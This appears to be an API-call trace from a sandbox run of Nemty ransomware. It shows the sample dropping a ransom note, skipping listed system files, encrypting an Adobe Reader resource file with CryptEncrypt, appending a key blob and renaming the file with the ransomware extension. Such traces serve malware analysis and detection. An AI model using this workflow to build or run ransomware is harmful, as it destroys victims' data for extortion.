[0214.548] lstrcmpiW (lpString1="LanguageNames2", lpString2="appdata") returned 1 [0214.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LanguageNames2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0214.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LanguageNames2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LanguageNames2", lpUsedDefaultChar=0x0) returned 14 [0214.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LanguageNames2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0214.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LanguageNames2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LanguageNames2", lpUsedDefaultChar=0x0) returned 14 [0214.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0214.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0214.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942c8 [0214.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0214.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94370 [0214.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340048 [0214.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94370 | out: hHeap=0x4f90000) returned 1 [0214.549] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.552] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.552] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0214.553] CloseHandle (hObject=0x254) returned 1 [0214.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0214.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0214.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942c8 [0214.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94370 [0214.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0214.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0214.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0214.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63401b8 [0214.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0214.554] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0214.554] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.554] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0214.555] CloseHandle (hObject=0x254) returned 1 [0214.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0214.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0214.555] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x338421b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x338421b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0214.556] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0214.556] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x338421b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x338421b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0214.559] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0214.559] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0214.559] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c88, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar.txt", cAlternateFileName="DICAC9~1.TXT")) returned 1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2=".") returned 1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="..") returned 1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="...") returned 1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="windows") returned -1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="rsa") returned -1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="NTDETECT.COM") returned -1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="ntldr") returned -1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="MSDOS.SYS") returned -1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="IO.SYS") returned -1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="boot.ini") returned 1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="boot.ini") returned 1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="ntuser.dat") returned -1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="desktop.ini") returned 1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="CONFIG.SYS") returned 1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="RECYCLER") returned -1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="bootmgr") returned 1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="programdata") returned -1 [0214.559] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="appdata") returned 1 [0214.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar.txt", lpUsedDefaultChar=0x0) returned 27 [0214.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar.txt", lpUsedDefaultChar=0x0) returned 27 [0214.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar.txt", lpUsedDefaultChar=0x0) returned 27 [0214.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar.txt", lpUsedDefaultChar=0x0) returned 27 [0214.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340100 [0214.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63401e8 [0214.560] Sleep (dwMilliseconds=0x5) [0214.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3388e470, dwHighDateTime=0x1d561e8)) [0214.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3388e470, dwHighDateTime=0x1d561e8)) [0214.576] GetLastError () returned 0xb7 [0214.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.576] GetLastError () returned 0xb7 [0214.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.576] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.576] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.576] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.576] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="hMsj1v3+FZNJVmbFkMqQHAO4MMDDEvrYFGHI97Ue1YvrEtsE7Ioea76MjiOuZ82u\r\n4cOiJSWq1s0fsIyp0qvKCWPy9SvtgJ9V5spL0g+JAIYsTuviaPnScR1en8wqkuZj\r\ntZqdhy27Llvfykfko45rQmV/lnOGhXT+HvmNIzM+9i3epWGcBJPl0r0hlZxM8CMG\r\nlDoacOqJKSAkVIBjZ3fWrzLdOo4SVxxkE9QisfVKQoM63tXah5vj+27qED01QnjO\r\n/0YWz/s6NAWfRJCa2B7LE2PMnAZsM7w8vxnf6vyq2JkgJ3yUmuQV0G0kh1kOkuOZ\r\nF7fhaIln7hZQ9MXCLoJvwQ==\r\n", pcchString=0x653e5dc) returned 1 [0214.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.577] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.585] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27784) returned 1 [0214.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c80) returned 0x6352c48 [0214.585] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.585] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c80, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c80, lpOverlapped=0x0) returned 1 [0214.588] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.588] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c80, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c80, lpOverlapped=0x0) returned 1 [0214.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.588] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c88 [0214.588] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.589] CloseHandle (hObject=0x2e8) returned 1 [0214.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63402d0 [0214.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63403b8 [0214.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x6343fe8 [0214.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b8 | out: hHeap=0x4f90000) returned 1 [0214.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.589] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt._nemty_kgobjgd_")) returned 1 [0214.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0214.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402d0 | out: hHeap=0x4f90000) returned 1 [0214.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e8 | out: hHeap=0x4f90000) returned 1 [0214.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.590] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c88, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_AE.txt", cAlternateFileName="DI3495~1.TXT")) returned 1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2=".") returned 1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="..") returned 1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="...") returned 1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="windows") returned -1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="rsa") returned -1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="NTDETECT.COM") returned -1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="ntldr") returned -1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="MSDOS.SYS") returned -1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="IO.SYS") returned -1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="boot.ini") returned 1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="boot.ini") returned 1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="ntuser.dat") returned -1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="desktop.ini") returned 1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="CONFIG.SYS") returned 1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="RECYCLER") returned -1 [0214.590] 